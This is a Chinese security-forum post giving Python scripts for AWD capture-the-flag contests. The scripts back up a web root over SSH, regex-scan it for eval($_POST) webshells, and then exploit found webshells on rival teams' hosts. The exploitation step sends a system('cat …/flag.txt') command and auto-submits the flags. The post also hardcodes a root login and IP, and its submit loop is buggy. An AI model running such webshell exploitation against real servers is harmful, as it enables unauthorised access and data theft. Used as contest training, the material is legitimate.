安全矩阵

 找回密码
 立即注册
搜索
查看: 3436|回复: 0

AWD中常用Python脚本(1):自动打包下载和提交flag

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2021-4-20 10:42:48 | 显示全部楼层 |阅读模式
AWD中常用Python脚本(1):自动打包下载和提交flag
01 面临问题继续突击安全相关知识。
既然大神带我打团队,还是要花时间准备的,虽然第一次可能会打酱油。
最近学习了一些python常用的库,包括requests,paramiko等,那么马上要开始比赛了,需要写点总结性脚本。
大神说过,AWD起手式一般都要利用组委会提供的账号密码登录自己团队的靶机,然后ssh登录后,打包备份源代码,下载后D盾扫描分析后门,使用脚本进行批量攻击其他团队靶机,获取flag后提交
那么如何实现呢?
02 怎么办将任务分解,首先根据IP地址,账号密码自动ssh服务器。
ssh自动登录并打包备份使用paramiko库实现ssh登录,代码如下:
  1. #自动打包备份目录
  2. def auto_dump(ssh,r_path="/var/www/html", b_path = "/tmp/html.tar"):
  3.     cmd = "tar -cPf {} {}".format(b_path,r_path)
  4.     res = ssh.run_cmd(cmd)
  5.     print(res)
  6.     return res
  7. if __name__=="__main__":
  8.     host = '193.112.2.181'
  9.     port = 22
  10.     username='root'
  11.     pwd = "Gmcc1234"
  12.     host = {"host":host,"port":port,"username":username,"pwd":pwd}

  13.     r_path = "/var/www/html"   #要打包路径
  14.     b_path = "/tmp/html.tar"   #备份路径

  15.     ssh = SSH(host)
  16.     ssh.connect()
  17.    
  18.     #自动备份指定目录到备份路径
  19.     auto_dump(ssh)
  20.     print("打包备份成功,备份目录是:",b_path)
复制代码
运行如下,自动打包备份


自动打包备份
ssh自动下载备份文件对打包的文件进行自动下载到本地路径l_file,这个参数可以配置
  1. l_file = "C:\\Users\\zhuf05\\Desktop\\html.tar"   #本地存储路径
  2.     auto_download(ssh,l_file)
  3.     print("文件下载成功,路径是:",l_file)
复制代码
运行如下,自动下载到本地路径


自动下载备份文件
按照大神说法,此时需要用D盾进行源代码扫描分析,但是这不需要时间,D盾的原理也是一些关键字检测,检测是否存在一句话木马等后台漏洞。
这个功能python应该也可以啊。
于是首先用python对tar文件进行分析,然后对每个文件进行检测,通过正则表达式匹配是否存在一句话木马eval关键函数等。
  1. #自动分析tar文件
  2. def auto_analy_tar(l_file):
  3.     muma_files = []
  4.     tar = tarfile.open(l_file)
  5.     for member in tar.getmembers():
  6.         if member.isfile():
  7.             f = tar.extractfile(member)
  8.             content = f.read().decode("utf-8","replace")
  9.             bl,pwd = analy_content(content)
  10.             if bl:
  11.                 muma = {"file":member.name,"pwd":pwd}
  12.                 muma_files.append(muma)
  13.     return muma_files
  14.                
  15.             
  16. #匹配后台木马,返回密码 后续需要完善匹配规则
  17. def analy_content(content):
  18.     """
  19.     eval($_POST['hacker']);
  20.     """
  21.     p1 = re.compile("eval\(\$\_POST\['(\w+)'\]\);")
  22.     searchObj = p1.search(content)
  23.     if searchObj:
  24.         pwd = searchObj.groups()[0]
  25.         return 1,pwd
  26.     return 0,0

  27. #开始分析木马文件
  28. muma_files = auto_analy_tar(l_file)
  29. print("后台一句话木马:",muma_files)
  30.    
复制代码
运行如下,可以发现找到的全部可疑木马文件


可疑木马文件分析
其实有些木马文件的密码可能不能直接使用,比如if内部的eval函数,需要首先满足if条件。
自动利用webshell获取flag拿到木马文件后,就可以尝试自动进行后门利用,获取flag,可以通过对每个木马文件的路径,拼接出url,使用获取的密码进行提交。
然后执行php指令,如echo system('cat /var/www/html/flag.txt');,可以根据需要修改flag.txt的路径
  1. #自动获取flag
  2. def auto_getflag(ip,port,muma_files):
  3.     flag = open(flag_txt,"w")
  4.     for muma in muma_files:
  5.         file = muma["file"]
  6.         pwd = muma["pwd"]
  7.         payload =  {pwd: "echo system('cat /var/www/html/flag.txt');"}
  8.         path = file.replace("/var/www/html","")
  9.         url = "http://" + ip+":" + str(port) + path
  10.         print("url",url)
  11.         flag.writelines(url)
  12.         res = requests.post(url,payload,timeout=1)
  13.         if res.status_code == requests.codes.ok:
  14.             print("flag",res.text)
  15.             flag.writelines(res.text)
  16.     flag.close()
  17.     return 0

  18. flag_txt = "firstround_flag.txt" #保存flag文件
  19. #自动获取flag 写入flag_txt文件中
  20. auto_getflag(ip,port1,muma_files)
复制代码
运行如下,可以发现代码已经在尝试利用每个木马文件,前面几个是md5后门,无法利用,可以发现you win!,已经获取flag,且相关内容已经存入文件中


自动获取flag
自动提交flag根据组委会提供的flag提交路径和团队token,批量提交之前获取的文件中
  1. #自动提交flag
  2. def auto_submit(flag_url,team_token,flag):
  3.     with open(flag) as f:
  4.         for line in f.readlines:
  5.             print(line)
  6.             payload = {"answer":line}
  7.             res = requests.post(flag_url,payload,timeout=1)
  8.             if res.status_code == requests.codes.ok:
  9.                 print("flag",res.text)
  10.     return 0

  11. flag_url = "http://47.100.214.15:58880/flaginfo.php?action=submitflag" #提交flag的URL
  12. team_token = ""
  13. #自动提交flag
  14. auto_submit(flag_url,team_token,flag_txt)
复制代码
利用之前某平台验证flag路径,实现自动提交验证


自动提交flag
好了,终于把流程走完了,感觉还是可以使用的,基本修改一些配置就可以快速应用,其实还有很多细节需要优化和完善,特别是一些异常判断,避免代码锁死,还有就是后台木马的检测逻辑需要进一步完善,以便检测更多木马逻辑。
03 为什么为什么要这么做?虽然脚本还很简陋,但是自己实现一遍,感受很深,特别是解决遇到的各种问题。
就是不知道在实战中如何?
04 更好的选择有没有更好的选择关键还是实战啊,这些脚本都是虚的,关键在于熟悉python,知道快速修改,以及能够在实战中发挥作用。
一句话脚本很强大,很强大,感觉AWD就是一些团队比拼脚本啊。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 05:50 , Processed in 0.012524 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表